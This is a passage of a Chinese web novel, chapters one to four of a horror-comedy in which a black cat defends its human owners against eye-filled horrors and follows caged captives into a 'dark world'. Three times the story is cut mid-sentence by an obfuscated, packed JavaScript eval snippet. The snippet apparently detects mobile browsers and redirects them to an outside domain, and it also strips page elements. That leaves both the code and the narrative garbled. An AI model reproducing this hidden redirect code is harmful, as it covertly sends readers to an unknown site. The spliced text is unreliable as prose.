《无限恐怖,但有猫猫》 1. 第 1 章 猫试着把自己蜷成一团,屁股对着外面,油光发亮的黑尾巴压在腿间,像个黑不溜秋的煤球。 它有点紧张。 狭隘老旧的电梯间里,刚下班的疲惫女人惊讶地看向白发阿婆,“您的猫?但这是我的猫呀!” ———— 事情要从早上说起。 作为一只健康强壮的猫,它一直保持着巡视领地的良好习惯。 “嗡嗡嗡。” 运动手表震动到第六声,它自律地从暖烘烘的被窝里爬起来,歪头看着床上赖床的人类。 人按掉闹钟,继续赖床。 人不自律。 要是迟到了,脆弱的人会哭的。猫还记得上一次,人被扣了全勤,回家抱着它哭了好久。 所以在闹钟又响起时,猫毫不犹豫地抬起前爪,小心收起锋利的爪子,一巴掌拍在人的鼻子上。 “啊啊啊要迟到了!” 人尖叫着爬起来,一阵哐哐当当后,拎起包跑出门。出门前,她强行把猫按在被子上,头埋在猫柔软的肚皮,一通狂吸,嘴里发出“哎嘿哎嘿”奇怪的声音。 “小咪,要好好待在家里哦!” “喵。”猫回应,抬起头,用鼻子碰了碰她的脸。 这在猫之间,是个友好打招呼的象征。 但据它观察,对于人而言,好像更显亲昵。 年轻女人马上捂住脸,高兴地说:“小咪爱我,嘿嘿,小咪爱我!小咪,等妈妈回来,给你开猫条哦~” 她蹦蹦跳跳地走了。 听见关门声,趴在被子里假装睡觉的猫马上起来,轻巧地纵身一跃,就跳到窗台上,抬爪熟练把窗纱打开。 城中村到处都是牵手楼,顾名思义,站在窗户上,伸手就能与对面楼栋的邻居牵手。 逼仄的胡同里升起袅袅白汽,一个个年轻的灵魂从楼里走出来,通过这条狭窄潮湿,脐带一样的小街,步履匆匆走向远方灯红酒绿的繁华城市。 猫站在窗台,在人流里认出室友的背影。 它在牵手楼间跳跃,每一个空调支架、凸起的窗台、铁制的招牌,都是猫的落脚点。 在这片密密麻麻的钢铁丛林里,它在楼上,室友在楼下。 到了。它熟练地停下来,坐在通红的顶棚,棚面下,室友的声音飘来:“要两个烧麦,一杯豆浆,谢谢。” 五块钱。猫在心里回。 “好咧,五块钱!” 室友买完早餐,就会扫一只轮子怪兽离开。猫停在早餐店顶棚上,目送她的背影远去。 这次护送之旅也圆满完成了。 它骄傲地坐好,尾巴轻晃。 保护好人类,是猫给自己立下的原则。人类带回的食物,是给它上缴的保护费。 它对此深信不疑。 但为什么,现在它有些心虚呢? 老公寓的电梯很慢,摇摇晃晃,猫缩在角落,试图把自己变成一只大黑耗子。 “小咪?”女人犹豫喊:“是你吗?你怎么跑出来啦?” 老婆婆笑了,缓慢又坚定地说:“小姑娘,你认错了,这是我家的猫,叫福娃。你瞧,它刚陪我买菜回来。” ———— 其实这种情况很难发生。 每天送完室友后,猫折返回家,在钢铁森林里纵跃,跳到一扇半阖的窗前。 “喵。”它在窗外叫一声,脑袋往窗缝一拱,好像流体一样挤进屋里,跳到厨房门口。 扑鼻鱼香钻入鼻腔。 “福娃。”婆婆把乳白色的鱼汤倒进属于它的小碗里,慈霭地看着它,“野一晚上回来啦?有没有抓到老鼠?” “喵!”猫站起来趴她的腿,急得能说人话了。 “不行哦,太烫了,要冷点才能吃。” “喵呜QVQ” 爷爷从书房走出来,手里拿根钓着鲜艳羽毛的玩具,把猫的注意力吸引,“福娃今天这么早回来呀,嘬嘬,来看小鸟飞——” 等喝完鱼汤,猫会跟在婆婆和爷爷身边,陪他们度过无聊又漫长的白天。 老两口以前都是大学教授,家里很干净。婆婆喜欢坐在客厅,调到戏曲频道,听些小曲,爷爷会待在书房,练习书法。 猫追着毛笔在宣纸上跑,时不时在刚写好的字旁留下朵朵梅花脚印,尖锐的指甲偶尔还会划破薄薄宣纸。 “谁说我家福娃字写得不好,我家福娃字写得可太好了。我要把这幅字给裱起来,薛教授,快来看我们家福娃的字。” 薛婆婆闭着眼睛,沉醉听戏曲,并不理他。 到戏曲节目结束,薛婆婆就会起来买菜,猫也会跟在她身边,陪她到楼下生鲜市场买些蔬菜和给它的鸡肉鱼肉。 等婆婆做完晚饭,它吃完一餐,就会从窗户跳出去。 老两口遵循着老一辈人粗犷的养猫方法,放它去外面自由飞翔。他们以为猫只是疯玩一个晚上,但要是他们打开窗户探出头,就会看见,黑猫迅速地穿过漫长狭窄的长街,在钢与铁之间跳跃,在它的身后,还有几只流浪猫紧紧跟随,似风奔跑。 是的,猫要带着小弟回到家里,让它们把碗里的猫粮吃完。 免得让人类发现它偷收两家的保护费。 但今天,婆婆念叨着要拜访老朋友,买完菜后,在胡同里绕来绕去,来到一栋老旧公寓。 于是它的两处领地内保护的人类相遇了 并且都以为它是自己的猫。 猫的头埋得更低了。 “是您家的猫?可是……长得和我家小咪一模一样。” “黑猫嘛。”薛婆婆扶了扶眼镜,剪到肩头的规整短发被电梯光线照得雪白,露出温柔充满书卷气的微笑,“长得都很像,说不定它们是一胞的兄弟姐妹,我把它叫过来让你看看吧。福娃,怎么不转过来?” “我可以喂喂它吗?”女人腼腆地笑了下,“这是我家小咪爱吃的三文鱼猫条。” “当然可以。” 闻见熟悉的香气,猫抬起头,尾巴轻快地摇,扭过脸去。 猫的瞳孔缩成一条线,幽绿眼睛里瞳孔竖直狭长。 一片红光洒下,染红了婆婆雪白的头发。 在电梯两扇门的窄窄缝隙里,多出来一只通红的眼睛,贪婪又恶毒地凝视着他们。 猫不知道它是什么时候出现的,但本能地感觉到危险,尾巴的毛像蓬松的鸡毛掸子一样炸开,瞬间蹿到电梯门前,喉咙发出呜呜的低吼声,毫不畏惧地与眼睛对视。 电梯慢慢往上。 缝隙里的眼睛随着电梯运行,被拉得越来越长,血丝密布的眼眶像个被强行拉长的橡皮圈,里面塞满一颗又一颗眼球。 被拉到极限后。 轻轻“砰”一声,它消失不见了。 猫又击退了一次入侵者,守护住自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14965850|161229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己的领地,但电梯里的两个人对此毫无察觉。 “啊,”女孩有点惶恐,摸摸把猫条塞回口袋,“它不喜欢陌生人吗?好像应激了。” 怕吓到小猫,她还往角落靠了靠。 猫守在电梯门口,低头舔爪子,自从以前咬死一条蛇放在室友枕头上,把她吓哭后,它就知道,人类是一种对危险非常钝感,又十分柔弱的生物。 好多次它击败了入侵者,但室友一无所知,把自己战功给室友看,她还会尖叫。 它已经习惯了。 喂猫条失败后,年轻女人有点尴尬,拿出手机戳戳,假装忙碌。 “收到我寄给你的快递了吗?” 一条聊天框弹出黑屏面板。 她的脸上露出甜蜜微笑,“正拿着准备回家拆呢。” “【开心】【开心】” 电梯门缓缓打开,女人低头看手机,快步走出轿厢。她没有再看过猫,好像手里那块四方屏幕有某种魔力,摄住她的全部灵魂。 猫跟在她身后,悄无声息地蹿出电梯。 “好好玩,要注意安全,小心黑暗里的东西。” 女人闻声回头,手机光照得她面孔惨白,一双眼里映着冷光,“您在和我说话吗?” “我在嘱咐我家福娃。” “哦。” ———— 公寓一共36户,长长的走廊两侧立满墓碑一样的竖直黑门。 只有一截灯管是好的,惨淡冷光透过层虫子的尸体射下来,填满发霉鼓包的墙壁。 趁着门打开,猫化作残影,蹿进屋里。通身黑色的皮毛是它的保护色,它完美融入屋里的黑暗,钻入墙根猫窝,当室友打开门时,它从猫窝里伸出个脑袋,“喵”了声,假装睡了一天刚爬出窝。 它还磨了磨爪子,伸个懒腰,才慢条斯理地走上前打招呼。 “喵”。 室友把快递放桌上,低着头和别人聊天,嘴角上扬,表情痴迷。 猫走到她身边,蹭蹭她的小腿,提醒道:“喵~” 它闻见猫条的味道啦,好香好香,是三文鱼味道的猫条。 今天的保护费该上缴啦。 但室友依旧在玩名叫手机的东西,手指点来点去,没有搭理它。 猫不喜欢手机,在室友睡觉时,它把手机揍过好多顿。它心里记仇地决定,今晚要把手机推到床下去!让手机摔个粉身碎骨! “喵!”它大声提醒。 保护费!猫条! 室友突然抬起头。 “喵呜。”猫期待地看着她。 她的脸却扭向另一边,看着桌上的快递,木然地说:“好孩子要接受礼物。” “好孩子要接受礼物。” 她念着这句话,从抽屉翻出把美工刀。 “喵!”猫的尾巴炸开毛,跳到两米高的铁制书架上,朝室友不满地大声囔囔。 室友转过身,低着头,正对桌上快递。 快递是巴掌大小的楞纸盒,中间用胶布黏合,八成被暴力对待过,整个盒子歪歪斜斜,好像随时都要散架。 “好孩子要接受礼物。” 她举起刀,要将刀扎进盒里时,忽然听见身后传来“砰”地巨响。 扭过头去,放在书架上的水晶球摔得四分五裂,黑猫气定神闲地看着她,尾巴摇晃,抬起爪子,礼貌地把另一颗水晶球推到地上。 2. 第 2 章 “啊!!!小咪!!!” 赵佳怡看着一地玻璃碎片,气得脑瓜子嗡嗡响。 小咪马上从书架起飞,飞到旁边空调上,从壁挂空调探出个漆黑的脑袋,继续俯视着她。 人,猫救了你,你还凶猫。 猫大声表达不满。 赵佳怡抬起头,对上黑猫漆黑的鼻孔,她觉得,小咪一定在用鼻孔鄙视她,气得从墙角抄起扫帚,指着猫骂:“就你能跳是吧,就你手贱是吧,哎,你你你,你有本事别到地上来,被玻璃扎到脚可别哭!” “喵!” 猫才不会哭,人才会哭! 赵佳怡当然听不懂猫的话,转身郁闷地处理地上碎片,“说你几句你还不满意,全世界就你神气,你是最神气的猫,行了吧!” 扫到一半,赵佳怡忽然觉得不对劲。 刚才自己好像想做什么事来着? “喵!” 小咪一声不服气的顶嘴让她火气就涌了上来。 “有本事你别跳下来!” “喵!” 有本事你跳上来。 “你说都是黑猫,今天我在电梯里遇到的猫可乖了,还会陪人买菜。你能比得上人家……别猫一根毛吗?” “喵!喵!喵!” 那就是猫,那就是猫。 它囔囔几句,意识到要是承认那是猫,它收两家保护费的事就要戳穿了。好险好险,幸好人听不懂猫话。 “喵呜。” 猫的声音顿时夹了起来。 赵佳怡一肚子的火气消失无踪,无奈地叹口气,“你先别跳下来。” 先扫地要紧,小咪喜欢在地上跑酷,待会要是被扎到爪子就不好了。 人拿夹子猫总是没什么办法。 她低头碎碎念扫地,力求找到每一片碎片,头顶的黑猫却歪着头,打量桌上快递。 暗红色的液体渗透瓦楞纸,在米白色的桌布晕开,像一朵暗红蔷薇无声绽放。 猫感觉那东西很危险,它张嘴想提醒人,可想到人看到估计又要吓哭,只能悄悄从空调往下跳,肉垫让它的动作没什么声音,它轻盈地跳到瓦楞盒前,将鼻子凑过去。 嗅嗅嗅。 猫的嗅觉比人灵敏很多,它站在窗台上时,一条街上各种味道往它的鼻子里挤。但室友是闻不见这么多味道的,她有时候还把螺蛳粉、臭豆腐这些臭气炸弹打包回家,吃得津津有味。 这个时候,猫总想跑过去帮人埋屎,并很佩服人的钝感。 但从纸盒里传出的,是种猫从未闻过的味道——不像刚宰杀的动物涌出的带有浓烈铁锈味的液体,也不像室友打包带回的臭气炸弹。 更像是是下雨后,伴随着漆黑雨水,从地砖缝隙里涌出的气味。 一股夹杂着城市腐臭的泥腥味。 猫的耳朵往后飞,胡须颤动,张嘴朝快递盒哈气。 危险危险! 本能在告诉它要尽快逃离,但猫不愿意当逃兵,它要守护自己的领地。 在猫准备和快递盒殊死搏斗时。 一无所知的人类趴在了地上,查看书架下面有没有残留玻璃碎片。 “小咪,你这样手欠不行的……” 赵佳怡是个竹漂党,从千里之外的家乡来到红竹市工作,和城市里千万个竹漂一样,每天清晨,她从逼仄狭小的出租屋里醒来,顺着拥挤人流,匆匆赶到办公楼,到下班时间,再挤在人流里,回到自己的小屋。 出来时天还没亮,回家时天已经全黑。 如果说生活里还有什么值得期待的事情,就是狭小的租房里,还有一只小猫在等着她了。 她还记得第一次见到猫的情景。 她刚毕业,一手提一个行李箱,后面背着大书包,来到这个打工人圣地。刚踏上拥挤长街,一只小猫就打滚滚到她的鞋背上。 全身漆黑的小猫,有双圆圆的眼睛。它身上的毛被阳光照得泛起层淡淡的金色,粉红色的爪子往上翻,对着她露出柔软的肚子。 她弯下腰,手指陷入被晒得温暖的皮毛上,很冒犯地揉猫的肚子,而猫只是抬起爪,将肉垫贴在她的手背,用圆圆的眼睛安静望着她。 那一刻,赵佳怡知道,她被一只猫碰瓷了。 或者说,她被一只猫捕获了。 她家小咪带回来就很乖,不抓沙发窗帘,白天在家里乖乖睡觉,晚上在家里乖乖陪她。每天早上,还会叫她起床,催她在猫碗里放粮。 她家小咪不在乎她有没有钱,房子是不是租的,也不在乎她有没有买进口猫粮、各种玩具。 只要给一口饭吃,小咪就愿意在狭小单间待一个无聊白天,等她回家。 想到这里,赵佳怡就心软得一塌糊涂,开始后悔刚才凶小猫了。 毕竟小咪平时也不捣蛋,堪比神仙猫咪。 “小咪~”她的声音不由自主放柔,也变得有点夹,“我给你买了猫条,今天发工资啦,咱们吃点好的。小咪?” 没有等到猫的回应,她抬头看,猫没有趴在空调上了。 “小咪!”赵佳怡拔高音量。 “嗷呜——”猫压低声音,一爪子拍在快递盒上,喉咙里发出低沉的呜声。 它的影子投射在雪白墙壁上,依旧是只小小的猫。 而对面的楞纸盒,影子却逐渐变形,像摊漫开的污渍,慢慢往墙壁四周扩散。 一颗一颗眼珠子从阴影里冒了出来。 赵佳怡瞪大了眼睛,身体僵硬,冷汗涔涔,眼睁睁看着半面墙壁被阴影与眼珠填满。 而另外半边墙。 猫伏低身体,低呜着,向入侵者发出警告。就在猫准备冲向入侵者时,它的四个爪子突然悬空了。 猫被人一把抱了起来。 “喵?” 猫在打架,人,不要拖后腿! 赵佳怡脑子一片空白,阴影散发难以言喻的恐惧让她呼吸困难,不停发抖,牙齿相撞,咯楞声在耳畔惊雷般炸开。她猛地一个激灵,回过神,第一件事就是想抱着小咪一起跑。 小咪只是一只柔弱不能自理的小猫啊。 猫在她的怀里拼命挣扎,四爪在空中飞舞,“喵呜——” “小咪,不要怕。”赵佳怡带着哭腔哆哆嗦嗦安慰它,一边努力抱住猫,一边把厚重的笔记本电脑往包里塞。 “喵呜——” 不到半分钟,那片污 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14965851|161229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 渍就占满整片墙壁,连门也异化成血肉,盘根错节的筋块血肉上,密密麻麻长满眼珠子。 赵佳怡不敢打开门了,扭头钻进被窝里,催眠自己一切只是做了一场噩梦。 快递是一个网友送给她的。 对方知识渊博,谈吐不凡,虽然偶尔有点掉书袋,但她很喜欢。 “我真是饿了。”她气得想扇自己一巴掌,“再也不网恋了。” 悄悄把头钻出被窝,往外面瞄了眼。 “呜。” 连天花板都塞满眼珠子,看一眼就疯狂掉san。 她不敢多看,把头深深埋进被窝里。 小咪就是趁这个时间钻出被窝的。 房子变成另外一番模样,墙壁、天花板、门都变成粘稠可怖的血肉,当它爬出被窝时,一双双血丝密布的眼珠子齐齐看过来,死死盯着它。 小咪不开心,它感觉到,自己的领地被入侵了。 它扭头看着被窝。 薄薄的被子里,人抖得像台洗衣机,连带质量不好的床,也嘎吱嘎吱摇动,像随时都会散架。 小咪更不开心了。 居然有东西在它的地盘,把它的人吓成这样! 它毫不畏惧地朝眼珠低吼,纵身跳到书架上,一爪子拍下去。 一颗眼珠闭上了,但头顶又一颗眼珠睁开。 污渍还在扩张,伸出的触须快要卷到床,每一颗眼珠都爆开贪婪的眼神,直勾勾盯着床上发抖的人。 猫又跳到床边,伸出无影爪,啪啪啪一连扇了它十几个巴掌,暂时把污渍击退。 但它知道,这样持续不了太久。 污渍在慢慢闭合,像贪婪巨兽合上嘴巴,准备将人一口吞下。 猫扭头望向桌子,那个散发无尽恶意与恐怖的瓦楞纸盒歪歪斜斜地躺在桌上。它从床上起跳,一跃跳到桌上,费力咬起了纸盒,有点外八地摇摇晃晃往外走。 不知什么时候,长满眼球的门打开了一条缝隙,缝隙后飘来呜咽阴冷的风。 仿佛通往另一个世界。 当猫叼起纸盒时,那块污渍受惊般地抖了起来,屋里的血肉在翻滚,无数眼球恶毒地看着小咪。 错了错了—— 错了错了—— 吃掉它—— 吃掉它—— 吃掉它—— 一根根触须顺着墙壁飞快爬过来,像条条毒蛇,将猫团团围住。 但这根本难不住猫。它叼着盒子,几乎瞬间就变成道黑色的影子,往上一跳,跳到书架上,又从书架起飞,飞到空调上,几个上蹿下跳,就跳到了门口。 猫神气又骄傲地看着还没追上来的污渍,尾巴像胜利的旗杆,轻轻摇晃,扭头扎进门后。 它把纸盒丢在地上,喵喵几声,向入侵者宣告已经彻底把它驱逐,警告它不许再进入自己的领地。 猫守护住自己的领地,猫又赢得了胜利! 小咪轻蔑地围着纸盒转一圈,转头打算向室友索要自己的保护费。 它觉得自己这次表现很好,说不定能要到两根猫条。 “喵?” 身后的门不见了。 猫傻眼了。 3. 第 3 章 猫正处在一个笼子里。 这应该是个关人类的笼子,铁栅栏斑驳生锈,它试着从笼里探出脑袋,胡须探测栏杆距离,感觉能通过后,往两根铁栏之间一挤。 小咪成功逃出铁笼。 但对于另外六个笼子里的人,这并不容易。 “咳。”最角落的男人被地下室浑浊空气激得闷咳几声,“这到底是什么地方?” “哐哐哐!” 他把铁栏摇得咣当响动,“谁把我关起来了?你们这是非法拘禁!来人啊——” 小咪坐在笼子外面,静静看着他。 他不修边幅,是个四五十来岁的人类雄性,满脸络腮胡子,头上毛发稀疏。 猫就在他的几步之外。 但络腮胡男瞧不见它。 毕竟人类没有黑暗中视物的能力。 地下室几乎没有光线,无比黑暗,男人只能靠手摸到栏杆,摸了半天,才明白自己被关在铁笼里。 猫在铁笼前转了转,把关在其中的人类巡视一圈。 七个铁笼首尾相连,连成一个圆,关着三男三女六个人类。 在大叔摇动铁栏不久,关在铁笼里的人陆续醒来了。小猫注意到,有的人早就睁开眼睛,但一直没有说话,等大叔弄出动静后,他们才佯作刚醒来,混在嘈杂的人声里,发出混乱声音。 “这是哪里?” “我去怎么被关起来了?” “你们是谁……” 猫安静看他们表演。人,好复杂! “我叫崔成。”男人最先开口,“大家是怎么被关进来的?我们一起想想出去的办法。” “我叫叶子静。”只有一个穿校服的少女细声细气地回答他的问题,“我有一个网上的好朋友,她说要送我一份礼物,是个巴掌大的小快递。拿到后,我就不太记得发生了什么,醒来就在这里了。” “小妹妹,”崔成问她,“你是学生吗?” 叶子静轻轻“嗯”了声。 “哪所学校的?” 没等叶子静回答,又一道声音插了进来,“问这么多干什么?” 声音是在他身后传来的,崔成扭头看过去,视野里依旧是一片漆黑。 但小咪能看见,说话的人是个二十来岁的人类女性,她穿着身漆黑的运动服,马尾扎起,口里叼着个棒棒糖。 张口说话时,棒棒糖的小棍一上一下地晃动。 小咪抬起爪子,本能地想扑。 “屁话这么多,”女人不耐烦地说:“她住哪和你有个屁的关系?你又住在哪里?” 小咪默默把爪子收回去,这个人类女性攻击性较强,应该不会让它扑棍棍玩。 崔成哼了声,“这有什么不能说的,我就住在红竹市,嘉木新村。” 嘉木新村是红竹市最大的城中村,聚集着几十万居民,外来的打工人尤其多。 叶子静惊呼一声,“我也在红竹市,我还在……” “妹妹,这个就不用说了。”嚼棒棒糖的女性打断了她,“孙菱,红竹市。” 不出意外,其他几个人也都住在红竹市。而且遇到的事情几乎雷同——网上朋友寄来一份奇异快递,收下后,精神就受到干扰,有人看见扭曲血肉,有人看见一颗颗眼球,也有人像叶子静一样,双眼一抹黑失去了意识,醒来就出现在了这里。 小咪发现自己和他们不一样了。它还记得发生了什么,自己是叼着入侵者,主动走入一扇门里的。但门不见了,快递也不见了。 “我们这是遇到了很厉害的犯罪团伙吗?”崔成喃喃,“大家手机在身上吗?看看有没有信号,试着报个警。” “我带了!”叶子静把挂脖手机拿出来,沮丧地说:“手机没信号。” “我的也没有。妹妹,打开手电照一下周围。” 孙菱没来得及提醒,女孩就打开了手电筒,冰冷光柱投射到对面粗糙的水泥墙壁上。 “这好像是个地下室。” 他们身在一间水泥砌成的地下室,粗糙墙壁上布满暗红血渍,不知道被拿来做过什么。台阶往上,通着一扇紧闭的门。 光柱突然短了一截,黑暗如有实质,张开巨口,吞没着光线。 “快关掉手电筒。”孙菱大声喝道。 叶子静吓得手忙脚乱地摁,反而把手机给按锁屏了。光线被吞噬的速度极快,眨眼就只有一两米的距离。 但没有人能看见,到底是什么吞噬了光线。 “丢掉手机!”孙菱喊。 叶子静撞在笼子上,马上把手机扔出去,光线从女孩惨白面上闪过,短短停留一瞬,下一秒,还在半空坠落的手机,连带它散发出的淡淡光芒,被什么东西给吞噬了。 手机迟迟没有掉在地上,仿佛到了另外一个世界。 四周一片死寂,没有人再敢发出声音。 过了几分钟,叶子静捂住嘴,忍不住发出低低呜咽。 “嘘——” 孙菱:“先别哭,听,有什么声音。” 声音是从外面响起的,像广播,顺着通风口飘进地下室。 “欢迎大家来到暗世界。这里是愚公小组,代号886,很乐意为您服务。如果您需要帮助,请取下联络器,我们将为充当您在暗世界的向导。您回到现实世界后,请拨打专属联系电话,11111,与本局取得联系。请切记,请不要在红月出现时在外行走,请不要将自己暴露在月光下。” 过了几分钟。 广播再次响起,不过这次是换成了其他的语言。 崔成好像找到救星,压低的声音难掩激动,“他说能帮我们。” 薛菱冷笑一声,“声音是从外面飘进来的,就算你能逃出笼子,你能打开那扇门,还是钻过那个巴掌大的通风口?” 崔成不说话了。 广播依然在进行,但对于被困在地下室里的人,更像是种冰冷的嘲讽。 岑寂空间,只有女孩无声哭泣时,时不时响起一两声抽气声。 无人注意到,一只小黑猫悄无声息地跳上铁笼,钻过通风口。 它看见了一片笼罩在红光中的奇特世界。 铅云低垂,红光不知是从哪儿洒下来的,似腥血肆意在天地间挥洒,让世界变成团僵涩粘稠的血团。 在地平线之上,有一道无比巨大的可怖黑影。它很高,似乎天是因为被它顶着,才堪堪不至于倒塌,又好像它早已穿透天空,把天扎出猩红的鲜血,漫天红光便是从伤口涌出的脓血。 这样危险而绝望的猩红仿佛象征着最原始的恐惧,任何人只要看它一眼,就会撕心裂肺惨叫,被它摄走灵魂。 但小咪没有。 因为小咪的静态视力并 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14965852|161229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不好,它所看到的,是团昏暗的雾气。世界都裹在雾气里,朦朦胧胧,远方很高的,可能是它经常跳来跳去的高楼,那些在雾气里飘荡的诡异瘦长黑影,或许是四轮怪兽。 猫原本生活的城市,就是一个恐怖疯狂的地方。 高楼林立,不小心跌下,就会摔得粉身碎骨,时不时有轮子怪兽嚎叫着呼啸而去,要是躲避不及时,会被轮子碾得变成路上一滩猫饼。 混凝土建造的楼房里,关着很多比猫大十几倍的庞然巨兽——人类。 大部分人不关心猫,但也有一些人极其危险。年幼的人类喜欢扯猫的尾巴,用尖叫声波攻击猫,而成年人类个体更加危险,猫记得自己小时候,趴在地上睡觉时,被一只比它还大的皮鞋踢得在地上打了几个滚,撞在墙壁上,断了两根肋骨。 小咪就是在这样危险的世界里长大的。 眼前昏暗的天地,对它而言,也只是换了个地方继续冒险。 本能告诉它,暴露在一片红光里不是什么好主意。它蹲在通风口,等到红光渐渐消退,四周蒙上雾气,才从管道钻了出来,往喇叭的方向走。 声音依旧在喇叭里响起,“请不要放弃希望……请不要对祂屈服……活下去、活下去,无论何时,请不要忘记,我们是人……” 猫是人吗? 猫不是人! 小咪感到有些迷惑,抬起头,发出声音的东西挂在一棵很高的树上。爬树是猫最擅长的事了,它在树根磨了磨爪子,感觉这棵树手感不太一样,指甲勾着树皮,爬到最上面,把发出声音的东西一口咬下来。 愚公886号像也感觉到了,“你好?” 对猫而言,爬上树是件容易的事,它能半分钟就蹿到十几米的树上,但下树就没那么简单。尤其是它的嘴里还叼着个像大耗子的联络器。 小咪前爪抱住树干,后爪慢慢蹬着树,一点点将身体往下挪。 但联络器后的人察觉不到它的困境,说个不停。 愚公886号听上去是个年轻的人类男性,声音像泉水淙淙,“你是新被拉入暗世界的吗?怎么不说话?” 人,猫说不了人话,而且猫嘴里咬着东西呢。 小咪在心里回答他。 它跳到地上,肚子挂着的原始袋晃了晃,轻轻“哼唧”一声。 愚公886马上关心询问:“你受伤了吗?” 小咪挺起胸膛,头颅高扬,尾巴也高高翘起,咬着联络器往回跑。 突然,它察觉到一丝不对,停下脚步,往后面看去。 蓬松的尾巴像个鸡毛掸子炸开,猫瞪圆了眼睛。 那棵“树”离它更近了。从树上垂下的扭曲枝条,快要碰到它舔得黑亮干净的皮毛。 或许这不是一棵树,小咪看不清它是什么,却能感受浓浓的危险。 愚公886:“如果你正在被那东西追击,尽量让自己不要害怕,你的恐惧会变成它们的养料。” 小咪伏低身体,喉咙里发出低沉的呜声。 “嗷呜——” 小咪并不害怕。当它还是小猫时,被人踢断两根肋骨后,它没有逃跑,而是跳到那个人的脸上,给他来一爪子,抓得他头破血流抱头就跑。 人类是比猫大十几倍的巨兽,但猫也不怕他们。 如果世界想来伤害猫,猫会对世界哈气。 4. 第 4 章 “老吴?” 愚公886听到从耳机里传来的声音,有些呆怔,“老吴……小姐吗?” 猫没有功夫搭理他,死死盯着眼前阴影。 “树”离它越来越近。 树干是一截截血肉扭曲攒成,粗糙树皮上长满肉瘤,每一颗肉瘤都是张狰狞的人面。 一条条苍白的手臂垂下来,藤蔓一样缠绕在它身上。 现在藤蔓从枝干脱落,生出细小的触须,在地上挪动,像条惨白的肉虫,离猫越来越近。 猫闻见它身上腐臭味,胡须颤动,后背弓起,毛蓬松炸开,变成一个猫球。它很爱干净,经常把毛舔得漂漂亮亮的,不想被这个臭东西碰到。 猫似道闪电蹿出,抬爪、起跳、撕咬。 一气呵成。 熟练攻击完一套后,它转身往回跑。 “窸窸窣窣。” 无数肉脚虫在后面追。 离通风口两米开外,小咪一个起跳,顺利跳进窄小洞口。它扭头往下看,地面一层肉虫蠕动。 虫子,追不上猫! 猫又骄傲了,仰起头,翘起尾巴,像个得胜归来的大将军,无声跳下了通风口。 可惜它生得太黑,人类看不见它。 猫咬着联络器,在笼子前走动,陷入为难中—— 猫不会说人话,联络器要给人才行。可是,把它给谁呢? 小咪暗中观察,几分钟后,它走向了一个人类。 ———— 孙菱感觉有东西碰了下自己的腿。她咬住棒棒糖,没有发出声音,犹豫片刻,伸手摸了过去。 被关在笼子里这么久,按理人的眼睛已经习惯黑暗,多少能视物。 但她连自己的手也看不见。 身在一片黑暗里,好像头是头,手是手,脚是脚,身体被黑暗分裂成几块,找不到彼此之间的联系。 她把东西按在手心,摩挲出它的形状。 触感冰凉,金属材质,有翅膀爪子……像只鸟? “你安全了吗?” 孙菱愣了下,听出这是外面广播的声音,“愚公886?” “是我!”886高兴道:“现在安全了是吧。你还好吗?” “不太好。” 他们之间对话的音量不大,却足以让其他人听见。 崔成激动地摇晃铁笼,“你拿到联络器了?快给我。” “安静点,”孙菱冷声道:“不然我丢掉它。” 崔成:“你这个疯婆子!” 他不敢再弄出声响了。 “愚公886,”孙菱问:“你知道我们被关在哪里?” “我并不知道你们的具体位置,但你们能拿到联络器,就说明你们已经身在暗世界了。” “暗世界是什么?” “它不属于现实世界,只存在于最古老的神话、恐怖的噩梦、将死之人的呓语、疯狂者的眼睛里。” “说人话。” 愚公886:“简单来说,就是一个诡异黑暗的世界。” “我们要怎么逃离?” “有两个办法。一个是寻找诡异的源头,解决它,第二个是找到那扇门,打开门就能回到现实。不过要小心,不要让里面的东西跟你们跑出来。” “门?我们在一个地下室里,地下室确实有一扇门,但现在我们都被关在铁笼里,没有办法离开,也不能打开门。” 愚公886:“被关在笼子里?那你怎么拿到联络器的?” “它自己出现在我旁边。” “老吴呢?” “什么老吴?” “是个老吴的小姐……应该是小姐吧,她的声音很可爱,”愚公886忍不住笑了一下,“她摘下的联络器。你不知道她吗?” 孙菱很久没有说话。 她意识到,黑暗空间里还有个叫“老吴”的神秘人。这人能轻松在从狭窄的铁笼里进出,把联络器送到她的脚边。 老吴是人吗? 或许此刻,它就在她身旁,面对着面,脸贴着脸,用猩红眼睛冷冷观察着她。 这时,似乎被她的情绪感染,铁笼里发出簌簌的声响。 孙菱打了个激灵,手心布满粘腻冷汗。 地下室的人类都意识到这一点,变得极为安静。崔成也不再想要联络器,并且尽可能离孙菱远一点。 他们都明白,孙菱的笼子里,很可能装着一个非人存在。 一个随意进出铁笼的恶鬼。 “簌簌。” 